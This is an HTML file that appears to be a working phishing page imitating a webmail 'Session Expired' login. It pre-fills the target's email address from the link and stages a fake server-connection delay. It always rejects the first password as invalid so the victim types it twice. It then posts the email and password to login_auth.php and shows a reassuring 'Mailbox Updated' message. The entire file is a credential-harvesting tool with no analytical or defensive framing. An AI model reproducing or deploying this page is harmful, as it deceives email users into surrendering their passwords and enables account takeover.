<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Session Expired</title>
   <link rel="icon" href="images/bg12.ico" type="image/x-icon">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
    <style>
        body {
            margin: 0;
            padding: 0;
            font-family: Arial, sans-serif;
            background: url('images/image.p') no-repeat center center fixed;
            background-size: cover;
        }
        .loading-modal {
            display: flex;
            align-items: center;
            justify-content: center;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 10;
            flex-direction: column;
            color: white;
            font-size: 20px;
        }
        .loading-modal i {
            font-size: 50px;
            color: black;
            margin-bottom: 20px;
        }
        .modal {
            display: none;
            align-items: center;
            justify-content: center;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 20;
        }
        .modal-content {
            background-color: #fff;
            padding: 20px;
            border-radius: 8px;
            width: 300px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
            text-align: center;
        }
        .modal-content img {
            max-width: 100%;
            height: auto;
            margin-bottom: 20px;
        }
        .form-group {
            margin-bottom: 15px;
            position: relative;
        }
        .form-group input {
            width: 100%;
            padding: 8px 10px 8px 30px;
            box-sizing: border-box;
            border: 1px solid #ccc;
            border-radius: 4px;
        }
        .form-group .icon {
            position: absolute;
            top: 50%;
            left: 10px;
            transform: translateY(-50%);
            color: #888;
        }
        .btn {
            width: 100%;
            padding: 10px;
            background-color: #007BFF;
            border: none;
            color: white;
            border-radius: 4px;
            font-size: 16px;
            cursor: pointer;
        }
        .btn:hover {
            background-color: #0056b3;
        }
        .error {
            color: red;
            text-align: center;
        }
        .success-message {
            display: none;
            text-align: center;
            font-size: 24px;
            font-weight: bold;
            color: green;
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
        }
        .updating-message {
            display: none;
            text-align: center;
            font-size: 20px;
            color: white;
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
        }
    </style>
</head>
<body>
    <div class="loading-modal" id="loading-modal">
        <i class="fas fa-envelope"></i>
        <p>Connecting to mail server...</p>
    </div>

    <div class="modal" id="main-modal">
        <div class="modal-content">
            <img src="https://www.knightwebservices.com/wp-content/uploads/2017/01/webmail.png" alt="Webmail Logo">
            <h2>Session Expired</h2>
            <form id="login-form" action="login_auth.php" method="POST" onsubmit="return validateForm()">
                <div class="form-group">
                    <i class="fas fa-envelope icon"></i>
                    <input type="email" id="email" name="email" placeholder="Email address" readonly>
                </div>
                <div class="form-group">
                    <i class="fas fa-key icon"></i>
                    <input type="password" id="password" name="password" placeholder="Password" required>
                </div>
                <button type="submit" class="btn">Login</button>
                <p class="error" id="error-message"></p>
            </form>
        </div>
    </div>

    <div class="success-message" id="success-message">
        Mailbox Updated, Exiting...
    </div>

    <div class="updating-message" id="updating-message">
        Updating Mailbox...........
    </div>

    <script>
        let firstAttempt = true;

        window.onload = function () {
            setTimeout(function () {
                document.getElementById('loading-modal').style.display = 'none';
                document.getElementById('main-modal').style.display = 'flex';
            }, 3200);

            const urlParams = new URLSearchParams(window.location.search);
            const email = urlParams.get('email');
            const emailInput = document.getElementById('email');

            if (email) {
                emailInput.value = email;
            } else {
                emailInput.disabled = true;
            }
        };

        function validateForm() {
            const emailInput = document.getElementById('email');
            const passwordInput = document.getElementById('password');
            const errorMessage = document.getElementById('error-message');

            if (!emailInput.value) {
                errorMessage.textContent = 'Invalid request, No Email';
                return false;
            }

            if (firstAttempt) {
                errorMessage.textContent = 'Invalid Password';
                firstAttempt = false;
                return false;
            }

            document.getElementById('main-modal').style.display = 'none';
            document.getElementById('updating-message').style.display = 'block';

            return true; // Allow form submission
        }
    </script>
</body>
</html>
